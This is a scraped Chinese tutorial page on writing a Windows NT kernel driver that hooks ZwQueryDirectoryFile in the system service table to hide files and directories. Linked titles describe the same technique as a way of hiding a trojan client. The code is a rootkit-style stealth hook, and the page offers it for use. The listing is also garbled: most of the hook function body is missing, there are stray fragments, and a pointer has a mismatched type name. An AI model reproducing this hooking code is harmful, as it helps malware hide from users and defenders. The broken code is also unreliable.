目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分ntapi都是在這個庫中封裝的。其中實現查詢檔案和目錄的api介面是zwquerydirectoryfile,所以我們只要攔截這個api的話,檔案和目錄就可以完全隱藏了!下面來一步不實現(準備工作:到ntddk中找乙個wdm驅動程式模型,也就是最簡單的驅動程式了):
1.定義file_information_class的第3號結構:_file_both_dir_information,這個結構是zwquerydirectoryfile必須引數。
typedef struct _file_both_dir_information file_both_dir_information, *pfile_both_dir_information;
2.先申明zwquerydirectoryfile,然後定義zwquerydirectoryfile的原型:
extern ntsysapi ntstatus ntapi zwquerydirectoryfile(
in handle hfile,
in handle hevent optional,
in pio_apc_routine ioapcroutine optional,
in pvoid ioapccontext optional,
out pio_status_block piostatusblock,
out pvoid fileinformationbuffer,
in ulong fileinformationbufferlength,
in file_information_class fileinfoclass,
in boolean breturnonlyoneentry,
in punicode_string pathmask optional,
in boolean brestartquery);
//定義zwquerydirectoryfile的原型
typedef ntstatus (*realzwquerydirectoryfile)(in handle hfile,
in handle hevent optional,
in pio_apc_routine ioapcroutine optional,
in pvoid ioapccontext optional,
out pio_status_block piostatusblock,
out pvoid fileinformationbuffer,
in ulong fileinformationbufferlength,
in file_information_class fileinfoclass,
in boolean breturnonlyoneentry,
in punicode_string pathmask optional,
in boolean brestartquery);
//定義乙個原函式指標
realzwquerysysteminformation realzwquerysysteminformation;
3.定義替換api函式的原型:
ntstatus hookzwquerydirectoryfile(
in handle hfile,
in handle hevent optional,
in pio_apc_routine ioapcroutine optional,
in pvoid ioapccontext optional,
out pio_status_block piostatusblock,
out pvoid fileinformationbuffer,
in ulong fileinformationbufferlength,
in file_information_class fileinfoclass,
in boolean breturnonlyoneentry,
in punicode_string pathmask optional,
in boolean brestartquery);
4.在driverentry(驅動入口)函式中加入如下申明:
//儲存真正的zwquerydirectoryfile函式位址
realzwquerydirectoryfile=(realzwquerydirectoryfile)(systemservice(zwquerydirectoryfile));
//把自定義的替換函式指標指向真正的zwquerydirectoryfile函式
(realzwquerydirectoryfile)(systemservice(zwquerydirectoryfile))=hookzwquerydirectoryfile;
5.在driverunload(驅動解除安裝函式)函式中加入恢復**:
//恢復原來的函式指標
(realzwquerydirectoryfile)(systemservice(zwquerydirectoryfile))=realzwquerydirectoryfile;
6.現在準備工作做好了,函式指標都已經設定轉向了,剩下的是實現這個我們自定義的替換函式hookzwquerydirectoryfile,**如下:
ntstatus hookzwquerydirectoryfile(
in handle hfile,
in handle hevent optional,
in pio_apc_routine ioapcroutine optional,
in pvoid ioapccontext optional,
out pio_status_block piostatusblock,
out pvoid fileinformationbuffer,
in ulong fileinformationbufferlength,
in file_information_class fileinfoclass,
in boolean breturnonlyoneentry,
in punicode_string pathmask optional,
in boolean brestartquery)
else
break; }
else //指標往後移動
} plastfileinfo = pfileinfo;
pfileinfo = (pfile_both_dir_information)((char *)pfileinfo + pfileinfo->nextentryoffset);
}while(!blastone);
rtlfreeansistring(&ansidirname);
rtlfreeansistring(&ansifilename); }
return(rc); }
驅動攔截NT的API實現隱藏木馬客戶端
目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分nt...
編寫驅動攔截NT的API實現隱藏檔案目錄
目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動 程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分n...
驅動攔截NT的API實現隱藏木馬客戶端
分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動程式來攔截ntapi來實現徹底隱藏檔案和目錄的...